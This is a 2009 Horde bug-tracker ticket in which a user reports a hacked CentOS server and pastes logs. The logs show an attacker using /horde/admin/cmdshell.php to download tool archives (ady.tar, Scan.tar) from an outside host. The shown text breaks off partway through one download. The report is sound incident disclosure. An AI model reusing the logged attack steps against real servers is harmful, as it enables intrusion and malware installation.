6.0.0-alpha10
5/21/25

[#8519] horde 3.1.7-1.el5.centos remote exploited in the wild
Summary horde 3.1.7-1.el5.centos remote exploited in the wild
Queue Horde Base
Queue Version 3.1.7
Type Bug
State Not A Bug
Priority 3. High
Owners
Requester cjk (at) touchtable (dot) se
Created 08/21/2009 (5752 days ago)
Due
Updated 08/21/2009 (5752 days ago)
Assigned
Resolved 08/21/2009 (5752 days ago)
Milestone
Patch No

History
08/21/2009 02:48:46 PM Jan Schneider Comment #4 Reply to this comment
Please ask support questions on the mailing list.
08/21/2009 02:43:45 PM cjk (at) touchtable (dot) se Comment #3 Reply to this comment
That is the version installed per default on Centos-5.3, and RHEL-5.3 
in the extras repository.



Is it a know bug that has been fixed? Or is it just a unsecure default 
install.



The only thing we did was install the rpm via yum. And then left it 
for a week or so.

Is the default install insecure with the default password for admin 
being "admin" or

something?


08/21/2009 02:37:22 PM Jan Schneider Comment #2
State ⇒ Not A Bug
Reply to this comment
So what? This is an ancient version that is not supported anymore 
since ages. Beside that, it rather looks like they simply break into 
your admin account.
08/21/2009 02:22:26 PM cjk (at) touchtable (dot) se Comment #1
Priority ⇒ 3. High
Patch ⇒ No
Milestone ⇒
Queue ⇒ Horde Base
Summary ⇒ horde 3.1.7-1.el5.centos remote exploited in the wild
Type ⇒ Bug
State ⇒ Unconfirmed
Reply to this comment
We got a server running centos-5.3 and a default install of 
horde-3.1.7-1.el5.centos hacked yesterday.



Effected version: horde.noarch 0:3.1.7-1.el5.centos



The attacker had a Horde-scanner and started scanning for more horde 
enabled computers to

break into.



The attack manages to start a sh-process with apache privileges and in 
this case downloaded

to /dev/shm.





The attack from access.log:



93.122.135.1 - - [20/Aug/2009:13:15:57 +0200] "GET 
/horde/admin/cmdshell.php HTTP/1.1" 200 1056 
"http://194.22.160.114/horde/admin/" "Mozilla/4.0 (compatible; MSIE 
7.0; Windows NT 5.1; GTB6; 
SIMBAR={6D69DCC8-7C8D-4F2A-BF9B-9388599BC215})"

93.122.135.1 - - [20/Aug/2009:13:15:58 +0200] "POST 
/horde/admin/cmdshell.php HTTP/1.1" 200 4123 
"http://194.22.160.114/horde/admin/cmdshell.php" "Mozilla/4.0 
(compatible; MSIE 7.0; Windows NT 5.1; GTB6; 
SIMBAR={6D69DCC8-7C8D-4F2A-BF9B-9388599BC215})"

93.122.135.1 - - [20/Aug/2009:13:16:53 +0200] "POST 
/horde/admin/cmdshell.php HTTP/1.1" 200 4618 
"http://194.22.160.114/horde/admin/cmdshell.php" "Mozilla/4.0 
(compatible; MSIE 7.0; Windows NT 5.1; GTB6; 
SIMBAR={6D69DCC8-7C8D-4F2A-BF9B-9388599BC215})"

93.122.135.1 - - [20/Aug/2009:13:17:20 +0200] "POST 
/horde/admin/cmdshell.php HTTP/1.1" 200 9559 
"http://194.22.160.114/horde/admin/cmdshell.php" "Mozilla/4.0 
(compatible; MSIE 7.0; Windows NT 5.1; GTB6; 
SIMBAR={6D69DCC8-7C8D-4F2A-BF9B-9388599BC215})"



The attack from error.log:



[Thu Aug 20 13:15:58 2009] [error] [client 93.122.135.1] PHP Warning:   
Cannot modify header information - headers already sent in Unknown on 
line 0, referer: http://194.22.160.114/horde/admin/cmdshell.php

[Thu Aug 20 13:15:58 2009] [error] [client 93.122.135.1] PHP Warning:   
Cannot modify header information - headers already sent in Unknown on 
line 0, referer: http://194.22.160.114/horde/admin/cmdshell.php

--13:16:54--  http://www.freewebs.com/adytm/ady.tar

Resolving www.freewebs.com... 204.2.183.2

Connecting to www.freewebs.com|204.2.183.2|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 2734080 (2.6M) [application/x-tar]

Saving to: `ady.tar'



      0K .......... .......... .......... .......... ..........  1% 58.8K 45s

     50K .......... .......... .......... .......... ..........  3% 84.9K 37s

    100K .......... .......... .......... .......... ..........  5%  125K 31s

    150K .......... .......... .......... .......... ..........  7%  137K 27s

    200K .......... .......... .......... .......... ..........  9%  147K 25s

    250K .......... .......... .......... .......... .......... 11%  164K 23s

    300K .......... .......... .......... .......... .......... 13%  202K 21s

    350K .......... .......... .......... .......... .......... 14%  207K 19s

    400K .......... .......... .......... .......... .......... 16%  208K 18s

    450K .......... .......... .......... .......... .......... 18%  193K 17s

    500K .......... .......... .......... .......... .......... 20%  230K 16s

    550K .......... .......... .......... .......... .......... 22%  301K 15s

    600K .......... .......... .......... .......... .......... 24%  231K 14s

    650K .......... .......... .......... .......... .......... 26%  236K 13s

    700K .......... .......... .......... .......... .......... 28%  317K 12s

    750K .......... .......... .......... .......... .......... 29%  255K 12s

    800K .......... .......... .......... .......... .......... 31%  339K 11s

    850K .......... .......... .......... .......... .......... 33%  358K 10s

    900K .......... .......... .......... .......... .......... 35%  331K 10s

    950K .......... .......... .......... .......... .......... 37%  279K 9s

   1000K .......... .......... .......... .......... .......... 39%  352K 9s

   1050K .......... .......... .......... .......... .......... 41%  362K 8s

   1100K .......... .......... .......... .......... .......... 43%  395K 8s

   1150K .......... .......... .......... .......... .......... 44%  361K 8s

   1200K .......... .......... .......... .......... .......... 46%  330K 7s

   1250K .......... .......... .......... .......... .......... 48%  397K 7s

   1300K .......... .......... .......... .......... .......... 50%  370K 6s

   1350K .......... .......... .......... .......... .......... 52%  379K 6s

   1400K .......... .......... .......... .......... .......... 54%  395K 6s

   1450K .......... .......... .......... .......... .......... 56%  412K 5s

   1500K .......... .......... .......... .......... .......... 58%  412K 5s

   1550K .......... .......... .......... .......... .......... 59%  416K 5s

   1600K .......... .......... .......... .......... .......... 61%  411K 5s

   1650K .......... .......... .......... .......... .......... 63%  432K 4s

   1700K .......... .......... .......... .......... .......... 65%  420K 4s

   1750K .......... .......... .......... .......... .......... 67%  484K 4s

   1800K .......... .......... .......... .......... .......... 69%  449K 3s

   1850K .......... .......... .......... .......... .......... 71%  526K 3s

   1900K .......... .......... .......... .......... .......... 73%  438K 3s

   1950K .......... .......... .......... .......... .......... 74%  437K 3s

   2000K .......... .......... .......... .......... .......... 76%  436K 2s

   2050K .......... .......... .......... .......... .......... 78%  427K 2s

   2100K .......... .......... .......... .......... .......... 80%  455K 2s

   2150K .......... .......... .......... .......... .......... 82%  813K 2s

   2200K .......... .......... .......... .......... .......... 84%  501K 2s

   2250K .......... .......... .......... .......... .......... 86%  464K 1s

   2300K .......... .......... .......... .......... .......... 88%  443K 1s

   2350K .......... .......... .......... .......... .......... 89%  442K 1s

   2400K .......... .......... .......... .......... .......... 91%  796K 1s

   2450K .......... .......... .......... .......... .......... 93%  558K 1s

   2500K .......... .......... .......... .......... .......... 95%  442K 0s

   2550K .......... .......... .......... .......... .......... 97%  418K 0s

   2600K .......... .......... .......... .......... .......... 99%  467K 0s

   2650K .......... ..........                                 100% 1.06M=9.4s



13:17:03 (283 KB/s) - `ady.tar' saved [2734080/2734080]



mv: cannot stat `mech': No such file or directory

[Thu Aug 20 13:17:03 2009] [error] [client 93.122.135.1] PHP Warning:   
Cannot modify header information - headers already sent in Unknown on 
line 0, referer: http://194.22.160.114/horde/admin/cmdshell.php

[Thu Aug 20 13:17:03 2009] [error] [client 93.122.135.1] PHP Warning:   
Cannot modify header information - headers already sent in Unknown on 
line 0, referer: http://194.22.160.114/horde/admin/cmdshell.php

--13:17:20--  http://www.freewebs.com/adytm/Scan.tar

Resolving www.freewebs.com... 204.2.183.2

Connecting to www.freewebs.com|204.2.183.2|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 29196288 (28M) [application/x-tar]

Saving to: `Scan.tar'



      0K .......... .......... .......... .......... ..........  0% 57.0K 8m19s

     50K .......... .......... .......... .......... ..........  0% 83.2K 7m0s

    100K .......... .......... .......... .......... ..........  0%  126K 5m55s

    150K .......... .......... .......... .......... ..........  0%  132K 5m19s

    200K .......... .......... .......... .......... ..........  0%  151K 4m52s

    250K .......... .......... .......... .......... ..........  1%  170K 4m31s

    300K .......... .......... .......... .......... ..........  1%  175K 4m15s

    350K .......... .......... .......... .......... ..........  1%  200K 4m0s

    400K .......... .......... .......... .......... ..........  1%  160K 3m52s

    450K .......... .......... .......... .......... ..........  1%  202K 3m43s

    500K .......... .......... .......... .......... ..........  1%  190K 3m35s

    550K .......... .......... .......... .......... ..........  2%  368K 3m23s

    600K .......... .......... .......... .......... ..........  2%  206K 3m18s

    650K .......... .......... .......... .......... ..........  2%  291K 3m10s

    700K .......... .......... .......... .......... ..........  2%  244K 3m5s

    750K .......... .......... .......... .......... ..........  2%  264K 3m0s

    800K .......... .......... .......... .......... ..........  2%  277K 2m55s

    850K .......... .......... .......... .......... ..........  3%  100K 3m0s

    900K .......... .......... .......... .......... ..........  3%  200K 2m57s

    950K .......... .......... .......... .......... ..........  3%  368K 2m52s

   1000K .......... .......... .......... .......... ..........  3%  203K 2m50s

   1050K .......... .......... .......... .......... ..........  3%  208K 2m48s

   1100K .......... .......... .......... .......... ..........  4%  363K 2m43s

   1150K .......... .......... .......... .......... ..........  4%  211K 2m42s

   1200K .......... .......... .......... .......... ..........  4%  369K 2m38s

   1250K .......... .......... .......... .......... ..........  4%  274K 2m35s

   1300K .......... .......... .......... .......... ..........  4%  269K 2m33s

   1350K .......... .......... .......... .......... ..........  4%  375K 2m30s

   1400K .......... .......... .......... .......... ..........  5%  289K 2m28s

   1450K .......... .......... .......... .......... ..........  5%  265K 2m26s

   1500K .......... .......... .......... .......... ..........  5%  376K 2m23s

   1550K .......... .......... .......... .......... ..........  5%  290K 2m22s

   1600K .......... .......... .......... .......... ..........  5%  387K 2m19s

   1650K .......... .......... .......... .......... ..........  5%  388K 2m17s

   1700K .......... .......... .......... .......... ..........  6%  381K 2m15s

   1750K .......... .......... .......... .......... ..........  6%  282K 2m13s

   1800K .......... .......... .......... .......... ..........  6%  394K 2m11s

   1850K .......... .......... .......... .......... ..........  6%  211K 2m11s

   1900K .......... .......... .......... .......... ..........  6%  399K 2m9s

   1950K .......... .......... .......... .......... ..........  7%  201K 2m9s

   2000K .......... .......... .......... .......... ..........  7%  241K 2m8s

   2050K .......... .......... .......... .......... ..........  7%  203K 2m8s

   2100K .......... .......... .......... .......... ..........  7%  260K 2m7s

   2150K .......... .......... .......... .......... ..........  7%  218K 2m7s

   2200K .......... .......... .......... .......... ..........  7%  345K 2m5s

   2250K .......... .......... .......... .......... ..........  8%  224K 2m5s

   2300K .......... .......... .......... .......... ..........  8%  351K 2m4s

   2350K .......... .......... .......... .......... ..........  8%  382K 2m2s

   2400K .......... .......... .......... .......... ..........  8%  268K 2m1s

   2450K .......... .......... .......... .......... ..........  8%  283K 2m1s

   2500K .......... .......... .......... .......... ..........  8%  381K 1m59s

   2550K .......... .......... .......... .......... ..........  9%  385K 1m58s

   2600K .......... .......... .......... .......... ..........  9%  386K 1m57s

   2650K .......... .......... .......... .......... ..........  9%  285K 1m56s

   2700K .......... .......... .......... .......... ..........  9%  374K 1m55s

   2750K .......... .......... .......... .......... ..........  9%  294K 1m54s

   2800K .......... .......... .......... .......... ..........  9%  196K 1m55s

   2850K .......... .......... .......... .......... .......... 10%  354K 1m54s

   2900K .......... .......... .......... .......... .......... 10%  382K 1m53s

   2950K .......... .......... .......... .......... .......... 10%  189K 1m53s

   3000K .......... .......... .......... .......... .......... 10%  202K 1m53s

   3050K .......... .......... .......... .......... .......... 10%  203K 1m53s

   3100K .......... .......... .......... .......... .......... 11%  369K 1m52s

   3150K .......... .......... .......... .......... .......... 11%  207K 1m52s

   3200K .......... .......... .......... .......... .......... 11%  372K 1m51s

   3250K .......... .......... .......... .......... .......... 11%  210K 1m51s

   3300K .......... .......... .......... .......... .......... 11%  373K 1m50s

   3350K .......... .......... .......... .......... .......... 11%  375K 1m49s

   3400K .......... .......... .......... .......... .......... 12%  213K 1m49s

   3450K .......... .......... .......... .......... .......... 12%  376K 1m48s

   3500K .......... .......... .......... .......... .......... 12%  381K 1m47s

   3550K .......... .......... .......... .......... .......... 12%  380K 1m47s

   3600K .......... .......... .......... .......... .......... 12%  218K 1m46s

   3650K .......... .......... .......... .......... .......... 12%  379K 1m46s

   3700K .......... .......... .......... .......... .......... 13%  381K 1m45s

   3750K .......... .......... .......... .......... .......... 13%  390K 1m44s

   3800K .......... .......... .......... .......... .......... 13%  388K 1m43s

   3850K .......... .......... .......... .......... .......... 13%  300K 1m43s

   3900K .......... .......... .......... .......... .......... 13%  273K 1m43s

   3950K .......... .......... .......... .......... .......... 14%  392K 1m42s

   4000K .......... .......... .......... .......... .......... 14%  395K 1m41s

   4050K .......... .......... .......... .......... .......... 14%  394K 1m41s

   4100K .......... .......... .......... .......... .......... 14%  396K 1m40s

   4150K .......... .......... .......... .......... .......... 14%  399K 99s

   4200K .......... .......... .......... .......... .......... 14%  210K 99s

   4250K .......... .......... .......... .......... .......... 15%  206K 99s

   4300K .......... .......... .......... .......... .......... 15%  395K 99s

   4350K .......... .......... .......... .......... .......... 15%  402K 98s

   4400K .......... .......... .......... .......... .......... 15%  408K 97s

   4450K .......... .......... .......... .......... .......... 15% 1.72M 96s

   4500K .......... .......... .......... .......... .......... 15%  410K 96s

   4550K .......... .......... .......... .......... .......... 16%  412K 95s

   4600K .......... .......... .......... .......... .......... 16%  414K 94s

   4650K .......... .......... .......... .......... .......... 16%  416K 94s

   4700K .......... .......... .......... .......... .......... 16%  417K 93s

   4750K .......... .......... .......... .......... .......... 16%  426K 93s

   4800K .......... .......... .......... .......... .......... 17% 1.70M 92s

   4850K .......... .......... .......... .......... .......... 17%  420K 91s

   4900K .......... .......... .......... .......... .......... 17%  211K 91s

   4950K .......... .......... .......... .......... .......... 17%  410K 90s

   5000K .......... .......... .......... .......... .......... 17%  711K 90s

   5050K .......... .......... .......... .......... .......... 17%  664K 89s

   5100K .......... .......... .......... .......... .......... 18%  173K 89s

   5150K .......... .......... .......... .......... .......... 18%  421K 89s

   5200K .......... .......... .......... .......... .......... 18%  261K 89s

   5250K .......... .......... .......... .......... .......... 18%  422K 88s

   5300K .......... .......... .......... .......... .......... 18%  422K 88s

   5350K .......... .......... .......... .......... .......... 18%  756K 87s

   5400K .......... .......... .......... .......... .......... 19%  622K 86s

   5450K .......... .......... .......... .......... .......... 19%  419K 86s

   5500K .......... .......... .......... .......... .......... 19%  424K 85s

   5550K .......... .......... .......... .......... .......... 19%  430K 85s

   5600K .......... .......... .......... .......... .......... 19%  440K 84s

   5650K .......... .......... .......... .......... .......... 19% 1.34M 84s

   5700K .......... .......... .......... .......... .......... 20%  425K 83s

   5750K .......... .......... .......... .......... .......... 20%  343K 83s

   5800K .......... .......... .......... .......... .......... 20%  419K 82s

   5850K .......... .......... .......... .......... .......... 20%  420K 82s

   5900K .......... .......... .......... .......... .......... 20%  420K 82s

   5950K .......... .......... .......... .......... .......... 21% 1.81M 81s

   6000K .......... .......... .......... .......... .......... 21%  421K 80s

   6050K .......... .......... .......... .......... .......... 21%  423K 80s

   6100K .......... .......... .......... .......... .......... 21% 73.5K 82s

   6150K .......... .......... .......... .......... .......... 21%  335K 81s

   6200K .......... .......... .......... .......... .......... 21%  402K 81s

   6250K .......... .......... .......... .......... .......... 22%  404K 81s

   6300K .......... .......... .......... .......... .......... 22%  409K 80s

   6350K .......... .......... .......... .......... .......... 22%  408K 80s

   6400K .......... .......... .......... .......... .......... 22%  376K 79s

   6450K .......... .......... .......... .......... .......... 22%  409K 79s

   6500K .......... .......... .......... .......... .......... 22%  294K 79s

   6550K .......... .......... .......... .......... .......... 23%  285K 79s

   6600K .......... .......... .......... .......... .......... 23%  183K 79s

   6650K .......... .......... .......... .......... .......... 23%  226K 79s

   6700K .......... .......... .......... .......... .......... 23%  404K 78s

   6750K .......... .......... .......... .......... .......... 23% 1.08M 78s

   6800K .......... .......... .......... .......... .......... 24%  371K 77s

   6850K .......... .......... .......... .......... .......... 24%  392K 77s

   6900K .......... .......... .......... .......... .......... 24%  411K 77s

   6950K .......... .......... .......... .......... .......... 24%  420K 76s

   7000K .......... .......... .......... .......... .......... 24%  921K 76s

   7050K .......... .......... .......... .......... .......... 24%  547K 75s

   7100K .......... .......... .......... .......... .......... 25%  423K 75s

   7150K .......... .......... .......... .......... .......... 25%  422K 75s

   7200K .......... .......... .......... .......... .......... 25%  138K 75s

   7250K .......... .......... .......... .......... .......... 25% 1.83M 74s

   7300K .......... .......... .......... .......... .......... 25%  416K 74s

   7350K .......... .......... .......... .......... .......... 25%  421K 74s

   7400K .......... .......... .......... .......... .......... 26%  422K 73s

   7450K .......... .......... .......... .......... .......... 26%  430K 73s

   7500K .......... .......... .......... .......... .......... 26% 1.66M 73s

   7550K .......... .......... .......... .......... .......... 26%  422K 72s

   7600K .......... .......... .......... .......... .......... 26%  424K 72s

   7650K .......... .......... .......... .......... .......... 27%  426K 72s

   7700K .......... .......... .......... .......... .......... 27%  429K 71s

   7750K .......... .......... .......... .......... .......... 27%  342K 71s

   7800K .......... .......... .......... .......... .......... 27%  418K 71s

   7850K .......... .......... .......... .......... .......... 27%  421K 70s

   7900K .......... .......... .......... .......... .......... 27%  312K 70s

   7950K .......... .......... .......... .......... .......... 28%  422K 70s

   8000K .......... .......... .......... .......... .......... 28%  423K 70s

   8050K .......... .......... .......... .......... .......... 28%  424K 69s

   8100K .......... .......... .......... .......... .......... 28%  115K 70s

   8150K .......... .......... .......... .......... .......... 28%  208K 70s

   8200K .......... .......... .......... .......... .......... 28%  198K 70s

   8250K .......... .......... .......... .......... .......... 29%  200K 70s

   8300K .......... .......... .......... .......... .......... 29%  216K 70s

   8350K .......... .......... .......... .......... .......... 29%  330K 70s

   8400K .......... .......... .......... .......... .......... 29%  148K 70s

   8450K .......... .......... .......... .......... .......... 29%  138K 70s

   8500K .......... .......... .......... .......... .......... 29%  370K 70s

   8550K .......... .......... .......... .......... .......... 30%  207K 70s

   8600K .......... .......... .......... .......... .......... 30%  217K 70s

   8650K .......... .......... .......... .......... .......... 30%  348K 69s

   8700K .......... .......... .......... .......... .......... 30%  217K 69s

   8750K .......... .......... .......... .......... .......... 30%  356K 69s

   8800K .......... .......... .......... .......... .......... 31%  219K 69s

   8850K .......... .......... .......... .......... .......... 31%  190K 69s

   8900K .......... .......... .......... .......... .......... 31%  376K 69s

   8950K .......... .......... .......... .......... .......... 31%  381K 69s

   9000K .......... .......... .......... .......... .......... 31%  209K 69s

   9050K .......... .......... .......... .......... .......... 31%  386K 68s

   9100K .......... .......... .......... .......... .......... 32%  351K 68s

   9150K .......... .......... .......... .......... .......... 32%  387K 68s

   9200K .......... .......... .......... .......... .......... 32%  216K 68s

   9250K .......... .......... .......... .......... .......... 32%  352K 67s

   9300K .......... .......... .......... .......... .......... 32%  171K 68s

   9350K .......... .......... .......... .......... .......... 32%  165K 68s

   9400K .......... .......... .......... .......... .......... 33%  323K 67s

   9450K .......... .......... .......... .......... .......... 33%  202K 67s

   9500K .......... .......... .......... .......... .......... 33%  205K 67s

   9550K .......... .......... .......... .......... .......... 33%  214K 67s

   9600K .......... .......... .......... .......... .......... 33%  335K 67s

   9650K .......... .......... .......... .......... .......... 34%  216K 67s

   9700K .......... .......... .......... .......... .......... 34%  271K 67s

   9750K .......... .......... .......... .......... .......... 34%  262K 67s

   9800K .......... .......... .......... .......... .......... 34%  338K 66s

   9850K ..[Thu Aug 20 13:17:56 2009] [error] [client 193.109.122.37] 
request failed: error reading the headers

........ .......... .......... .......... .......... 34%  227K 66s

   9900K .......... .......... .......... .......... .......... 34%  198K 66s

   9950K .......... .......... .......... .......... .......... 35%  375K 66s

  10000K .......... .......... .......... .......... .......... 35%  380K 66s

  10050K .......... .......... .......... .......... .......... 35%  213K 66s

  10100K .......... .......... .......... .......... .......... 35%  379K 65s

  10150K .......... .......... .......... .......... .......... 35%  343K 65s

  10200K .......... .......... .......... .......... .......... 35%  325K 65s

  10250K .......... .......... .......... .......... .......... 36%  266K 65s

  10300K .......... .......... .......... .......... .......... 36%  372K 64s

  10350K .......... .......... .......... .......... .......... 36%  353K 64s

  10400K .......... .......... .......... .......... .......... 36%  389K 64s

  10450K .......... .......... .......... .......... .......... 36%  391K 64s

  10500K .......... .......... .......... .......... .......... 37%  206K 64s

  10550K .......... .......... .......... .......... .......... 37%  135K 64s

  10600K .......... .......... .......... .......... .......... 37%  192K 64s

  10650K .......... .......... .......... .......... .......... 37%  198K 64s

  10700K .......... .......... .......... .......... .......... 37%  199K 64s

  10750K .......... .......... .......... .......... .......... 37%  193K 64s

  10800K .......... .......... .......... .......... .......... 38%  201K 64s

  10850K .......... .......... .......... .......... .......... 38%  217K 63s

  10900K .......... .......... .......... .......... .......... 38%  202K 63s

  10950K .......... .......... .......... .......... .......... 38%  296K 63s

  11000K .......... .......... .......... .......... .......... 38%  235K 63s

  11050K .......... .......... .......... .......... .......... 38%  293K 63s

  11100K .......... .......... .......... .......... .......... 39%  241K 63s

  11150K .......... .......... .......... .......... .......... 39%  308K 63s

  11200K .......... .......... .......... .......... .......... 39%  237K 62s

  11250K .......... .......... .......... .......... .......... 39%  311K 62s

  11300K .......... .......... .......... .......... .......... 39%  374K 62s

  11350K .......... .......... .......... .......... .......... 39%  217K 62s

  11400K .......... .......... .......... .......... .......... 40%  361K 62s

  11450K .......... .......... .......... .......... .......... 40%  213K 61s

  11500K .......... .......... .......... .......... .......... 40%  202K 61s

  11550K .......... .......... .......... .......... .......... 40%  166K 61s

  11600K .......... .......... .......... .......... .......... 40%  138K 61s

  11650K .......... .......... .......... .......... .......... 41%  199K 61s

  11700K .......... .......... .......... .......... .......... 41%  204K 61s

  11750K .......... .......... .......... .......... .......... 41%  239K 61s

  11800K .......... .......... .......... .......... .......... 41%  278K 61s

  11850K .......... .......... .......... .......... .......... 41%  204K 61s

  11900K .......... .......... .......... .......... .......... 41%  207K 61s

  11950K .......... .......... .......... .......... .......... 42%  363K 60s

  12000K .......... .......... .......... .......... .......... 42%  207K 60s

  12050K .......... .......... .......... .......... .......... 42%  212K 60s

  12100K .......... .......... .......... .......... .......... 42%  201K 60s

  12150K .......... .......... .......... .......... .......... 42%  207K 60s

  12200K .......... .......... .......... .......... .......... 42%  375K 60s

  12250K .......... .......... .......... .......... .......... 43%  332K 60s

  12300K .......... .......... .......... .......... .......... 43%  210K 59s

  12350K .......... .......... .......... .......... .......... 43%  378K 59s

  12400K .......... .......... .......... .......... .......... 43%  359K 59s

  12450K .......... .......... .......... .......... .......... 43%  237K 59s

  12500K .......... .......... .......... .......... .......... 44%  346K 59s

  12550K .......... .......... .......... .......... .......... 44%  382K 58s

  12600K .......... .......... .......... .......... .......... 44%  386K 58s

  12650K .......... .......... .......... .......... .......... 44%  384K 58s

  12700K .......... .......... .......... .......... .......... 44%  267K 58s

  12750K .......... .......... .......... .......... .......... 44%  302K 57s

  12800K .......... .......... .......... .......... .......... 45%  368K 57s

  12850K .......... .......... .......... .......... .......... 45%  393K 57s

  12900K .......... .......... .......... .......... .......... 45%  385K 57s

  12950K .......... .......... .......... .......... .......... 45%  155K 57s

  13000K .......... .......... .......... .......... .......... 45%  390K 56s

  13050K .......... .......... .......... .......... .......... 45%  391K 56s

  13100K .......... .......... .......... .......... .......... 46%  397K 56s

  13150K .......... .......... .......... .......... .......... 46%  405K 56s

  13200K .......... .......... .......... .......... .......... 46%  402K 55s

  13250K .......... .......... .......... .......... .......... 46%  408K 55s

  13300K .......... .......... .......... .......... .......... 46%  404K 55s

  13350K .......... .......... .......... .......... .......... 46%  405K 55s

  13400K .......... .......... .......... .......... .......... 47%  399K 54s

  13450K .......... .......... .......... .......... .......... 47% 1006K 54s

  13500K .......... .......... .......... .......... .......... 47%  411K 54s

  13550K .......... .......... .......... .......... .......... 47%  144K 54s

  13600K .......... .......... .......... .......... .......... 47%  139K 54s

  13650K .......... .......... .......... .......... .......... 48%  384K 54s

  13700K .......... .......... .......... .......... .......... 48%  271K 54s

  13750K .......... .......... .......... .......... .......... 48%  376K 53s

  13800K .......... .......... .......... .......... .......... 48%  220K 53s

  13850K .......... .......... .......... .......... .......... 48%  393K 53s

  13900K .......... .......... .......... .......... .......... 48%  387K 53s

  13950K .......... .......... .......... .......... .......... 49%  392K 52s

  14000K .......... .......... .......... .......... .......... 49%  370K 52s

  14050K .......... .......... .......... .......... .......... 49%  397K 52s

  14100K .......... .......... .......... .......... .......... 49%  324K 52s

  14150K .......... .......... .......... .......... .......... 49%  189K 52s

  14200K .......... .......... .......... .......... .......... 49%  330K 51s

  14250K .......... .......... .......... .......... .......... 50%  398K 51s

  14300K .......... .......... .......... .......... .......... 50%  392K 51s

  14350K .......... .......... .......... .......... .......... 50%  377K 51s

  14400K .......... .......... .......... .......... .......... 50%  443K 51s

  14450K .......... .......... .......... .......... .......... 50%  406K 50s

  14500K .......... .......... .......... .......... .......... 51%  401K 50s

  14550K .......... .......... .......... .......... .......... 51%  791K 50s

  14600K .......... .......... .......... .......... .......... 51%  462K 50s

  14650K .......... .......... .......... .......... .......... 51%  407K 49s

  14700K .......... .......... .......... .......... .......... 51%  209K 49s

  14750K .......... .......... .......... .......... .......... 51%  201K 49s

  14800K .......... .......... .......... .......... .......... 52%  188K 49s

  14850K .......... .......... .......... .......... .......... 52%  345K 49s

  14900K .......... .......... .......... .......... .......... 52%  213K 49s

  14950K .......... .......... .......... .......... .......... 52%  347K 48s

  15000K .......... .......... .......... .......... .......... 52%  209K 48s

  15050K .......... .......... .......... .......... .......... 52%  268K 48s

  15100K .......... .......... .......... .......... .......... 53%  265K 48s

  15150K .......... .......... .......... .......... .......... 53%  376K 48s

  15200K .......... .......... .......... .......... .......... 53%  211K 48s

  15250K .......... .......... .......... .......... .......... 53%  367K 47s

  15300K .......... .......... .......... .......... .......... 53%  360K 47s

  15350K .......... .......... .......... .......... .......... 54%  227K 47s

  15400K .......... .......... .......... .......... .......... 54%  349K 47s

  15450K .......... .......... .......... .......... .......... 54%  386K 47s

  15500K .......... .......... .......... .......... .......... 54%  387K 46s

  15550K .......... .......... .......... .......... .......... 54%  364K 46s

  15600K .......... .......... .......... .......... .......... 54%  241K 46s

  15650K .......... .......... .......... .......... .......... 55%  354K 46s

  15700K .......... .......... .......... .......... .......... 55%  389K 46s

  15750K .......... .......... .......... .......... .......... 55%  374K 45s

  15800K .......... .......... .......... .......... .......... 55%  392K 45s

  15850K .......... .......... .......... .......... .......... 55%  395K 45s

  15900K .......... .......... .......... .......... .......... 55%  397K 45s

  15950K .......... .......... .......... .......... .......... 56%  397K 44s

  16000K .......... .......... .......... .......... .......... 56%  398K 44s

  16050K .......... .......... .......... .......... .......... 56%  402K 44s

  16100K .......... .......... .......... .......... .......... 56%  403K 44s

  16150K .......... .......... .......... .......... .......... 56%  395K 44s

  16200K .......... .......... .......... .......... .......... 56%  403K 43s

  16250K .......... .......... .......... .......... .......... 57%  155K 43s

  16300K .......... .......... .......... .......... .......... 57%  369K 43s

  16350K .......... .......... .......... .......... .......... 57%  406K 43s

  16400K .......... .......... .......... .......... .......... 57%  406K 43s

  16450K .......... .......... .......... .......... .......... 57%  410K 42s

  16500K .......... .......... .......... .......... .......... 58%  414K 42s

  16550K .......... .......... .......... .......... .......... 58%  436K 42s

  16600K .......... .......... .......... .......... .......... 58% 1.36M 42s

  16650K .......... .......... .......... .......... .......... 58%  367K 42s

  16700K .......... .......... .......... .......... .......... 58%  416K 41s

  16750K .......... .......... .......... .......... .......... 58%  446K 41s

  16800K .......... .......... .......... .......... .......... 59%  417K 41s

  16850K .......... .......... .......... .......... .......... 59%  436K 41s

  16900K .......... .......... .......... .......... .......... 59%  386K 40s

